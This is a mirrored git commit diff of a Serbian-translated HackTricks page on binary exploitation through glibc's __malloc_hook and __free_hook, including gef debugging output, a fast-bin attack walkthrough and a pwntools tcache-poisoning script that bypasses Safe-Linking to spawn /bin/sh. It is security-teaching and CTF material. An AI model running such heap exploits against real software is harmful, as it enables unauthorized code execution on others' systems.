mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__ma
This commit is contained in:
parent
d493311008
commit
d205384341
@ -1,12 +1,12 @@
|
||||
# WWW2Exec - \_\_malloc_hook & \_\_free_hook
|
||||
# WWW2Exec - __malloc_hook & __free_hook
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Malloc Hook**
|
||||
|
||||
Kao što možete videti na [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), promenljiva **`__malloc_hook`** je pokazivač koji pokazuje na **adresu funkcije koja će biti pozvana** svaki put kada se pozove `malloc()` **smeštena u sekciji podataka libc biblioteke**. Stoga, ako se ova adresa prepiše sa **One Gadget**, na primer, i pozove se `malloc`, **One Gadget će biti pozvan**.
|
||||
Kao što možete videti na [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), promenljiva **`__malloc_hook`** je pokazivač koji pokazuje na **adresu funkcije koja će biti pozvana** svaki put kada se pozove `malloc()`, **smeštena u sekciji podataka libc biblioteke**. Stoga, ako se ova adresa prepiše sa **One Gadget**, na primer, i pozove se `malloc`, **One Gadget će biti pozvan**.
|
||||
|
||||
Da biste pozvali malloc, moguće je čekati da program to pozove ili **pozivom `printf("%10000$c")`** koji alocira previše bajtova, čime `libc` poziva malloc da ih alocira na heap-u.
|
||||
Da biste pozvali malloc, moguće je čekati da program to pozove ili **pozivajući `printf("%10000$c")**, što alocira previše bajtova, čime `libc` poziva malloc da ih alocira na heap-u.
|
||||
|
||||
Više informacija o One Gadget-u u:
|
||||
|
||||
@ -19,7 +19,7 @@ Više informacija o One Gadget-u u:
|
||||
|
||||
## Free Hook
|
||||
|
||||
Ovo je zloupotrebljeno u jednom od primera sa stranice koja zloupotrebljava napad na brzi bin nakon što je zloupotrebljen napad na neusmereni bin:
|
||||
Ovo je zloupotrebljeno u jednom od primera sa stranice koja je zloupotrebljavala napad na brzi bin nakon što je zloupotrebljen napad na neusortirani bin:
|
||||
|
||||
{{#ref}}
|
||||
../libc-heap/unsorted-bin-attack.md
|
||||
@ -29,7 +29,7 @@ Moguće je pronaći adresu `__free_hook` ako binarni fajl ima simbole sa sledeć
|
||||
```bash
|
||||
gef➤ p &__free_hook
|
||||
```
|
||||
[U postu](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) možete pronaći vodič korak po korak o tome kako locirati adresu slobodnog hook-a bez simbola. Kao sažetak, u funkciji free:
|
||||
[U postu](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) možete pronaći vodič korak po korak o tome kako locirati adresu slobodnog hook-a bez simbola. Kao rezime, u funkciji free:
|
||||
|
||||
<pre class="language-armasm"><code class="lang-armasm">gef➤ x/20i free
|
||||
0xf75dedc0 <free>: push ebx
|
||||
@ -56,15 +56,80 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
</code></pre>
|
||||
- Ako uspemo da dobijemo brzi chunk veličine 0x200 na ovoj lokaciji, biće moguće prepisati pokazivač funkcije koja će biti izvršena.
|
||||
- Za to se kreira novi chunk veličine `0xfc` i spojena funkcija se poziva sa tim pokazivačem dva puta, na ovaj način dobijamo pokazivač na oslobođeni chunk veličine `0xfc*2 = 0x1f8` u fast bin-u.
|
||||
- Zatim se poziva funkcija za uređivanje u ovom chunk-u da bi se modifikovao **`fd`** adresu ovog fast bin-a da pokazuje na prethodnu **`__free_hook`** funkciju.
|
||||
- Zatim se kreira chunk veličine `0x1f8` da bi se povukao prethodni beskorisni chunk iz fast bin-a, tako da se kreira još jedan chunk veličine `0x1f8` da bi se dobio fast bin chunk u **`__free_hook`** koji se prepisuje sa adresom funkcije **`system`**.
|
||||
- Ako uspemo da dobijemo brzi chunk veličine 0x200 na ovoj lokaciji, biće moguće prepisati pokazivač funkcije koja će biti izvršena
|
||||
- Za to se kreira novi chunk veličine `0xfc` i spojena funkcija se poziva sa tim pokazivačem dva puta, na taj način dobijamo pokazivač na oslobođeni chunk veličine `0xfc*2 = 0x1f8` u fast bin-u.
|
||||
- Zatim se poziva funkcija za izmenu u ovom chunk-u da bi se modifikovao **`fd`** adresu ovog fast bin-a da pokazuje na prethodnu **`__free_hook`** funkciju.
|
||||
- Nakon toga se kreira chunk veličine `0x1f8` da bi se povukao prethodni beskorisni chunk iz fast bin-a, tako da se kreira još jedan chunk veličine `0x1f8` da bi se dobio fast bin chunk u **`__free_hook`** koji se prepisuje adresom funkcije **`system`**.
|
||||
- I konačno, chunk koji sadrži string `/bin/sh\x00` se oslobađa pozivom funkcije za brisanje, aktivirajući **`__free_hook`** funkciju koja pokazuje na system sa `/bin/sh\x00` kao parametrom.
|
||||
|
||||
---
|
||||
|
||||
## Tcache trovanje & Safe-Linking (glibc 2.32 – 2.33)
|
||||
|
||||
glibc 2.32 je uveo **Safe-Linking** – proveru integriteta koja štiti *jednostruko*-povezane liste korišćene od strane **tcache** i fast-bins. Umesto da čuva sirovi forward pokazivač (`fd`), ptmalloc sada čuva *obfuskovan* sa sledećom makro:
|
||||
```c
|
||||
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
|
||||
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
|
||||
```
|
||||
Posledice za eksploataciju:
|
||||
|
||||
1. **heap leak** je obavezan – napadač mora znati runtime vrednost `chunk_addr >> 12` da bi kreirao važeći obfuscated pokazivač.
|
||||
2. Samo *puni* 8-bajtni pokazivač može biti falsifikovan; delimična prepisivanja jednog bajta neće proći proveru.
|
||||
|
||||
Minimalni tcache-poisoning primitiv koji prepisuje `__free_hook` na glibc 2.32/2.33 izgleda ovako:
|
||||
```py
|
||||
from pwn import *
|
||||
|
||||
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
|
||||
p = process("./vuln")
|
||||
|
||||
# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
|
||||
heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
|
||||
heap_base = heap_leak & ~0xfff
|
||||
fd_key = heap_base >> 12 # value used by PROTECT_PTR
|
||||
log.success(f"heap @ {hex(heap_base)}")
|
||||
|
||||
# 2. Prepare two same-size chunks and double-free one of them
|
||||
a = malloc(0x48)
|
||||
b = malloc(0x48)
|
||||
free(a)
|
||||
free(b)
|
||||
free(a) # tcache double-free ⇒ poisoning primitive
|
||||
|
||||
# 3. Forge obfuscated fd that points to __free_hook
|
||||
free_hook = libc.sym['__free_hook']
|
||||
poison = free_hook ^ fd_key
|
||||
edit(a, p64(poison)) # overwrite fd of tcache entry
|
||||
|
||||
# 4. Two mallocs: the second one returns a pointer to __free_hook
|
||||
malloc(0x48) # returns chunk a
|
||||
c = malloc(0x48) # returns chunk @ __free_hook
|
||||
edit(c, p64(libc.sym['system']))
|
||||
|
||||
# 5. Trigger
|
||||
bin_sh = malloc(0x48)
|
||||
edit(bin_sh, b"/bin/sh\x00")
|
||||
free(bin_sh)
|
||||
```
|
||||
The snippet above was adapted from recent CTF challenges such as *UIUCTF 2024 – «Rusty Pointers»* and *openECSC 2023 – «Babyheap G»*, both of which relied on Safe-Linking bypasses to overwrite `__free_hook`.
|
||||
|
||||
---
|
||||
|
||||
## Šta se promenilo u glibc ≥ 2.34?
|
||||
|
||||
Počevši od **glibc 2.34 (avgust 2021)**, alokacione hook-ove `__malloc_hook`, `__realloc_hook`, `__memalign_hook` i `__free_hook` su **uklonjeni iz javnog API-ja i više ih ne poziva alokator**. Simboli za kompatibilnost su i dalje dostupni za nasleđene binarne datoteke, ali njihovo prepisivanje više ne utiče na kontrolni tok `malloc()` ili `free()`.
|
||||
|
||||
Praktična implikacija: na modernim distribucijama (Ubuntu 22.04+, Fedora 35+, Debian 12, itd.) morate preći na *druge* hijack primitivne (IO-FILE, `__run_exit_handlers`, vtable spraying, itd.) jer će prepisivanje hook-ova tiho propasti.
|
||||
|
||||
Ako vam je još uvek potrebno staro ponašanje za debagovanje, glibc isporučuje `libc_malloc_debug.so` koji se može prethodno učitati da ponovo omogući nasleđene hook-ove – ali biblioteka **nije namenjena za produkciju i može nestati u budućim izdanjima**.
|
||||
|
||||
---
|
||||
|
||||
## Reference
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
|
||||
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
|
||||
- Safe-Linking – Eliminisanje 20 godina starog malloc() exploit primitva (Check Point Research, 2020)
|
||||
- glibc 2.34 beleške o izdanju – uklanjanje malloc hook-ova
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user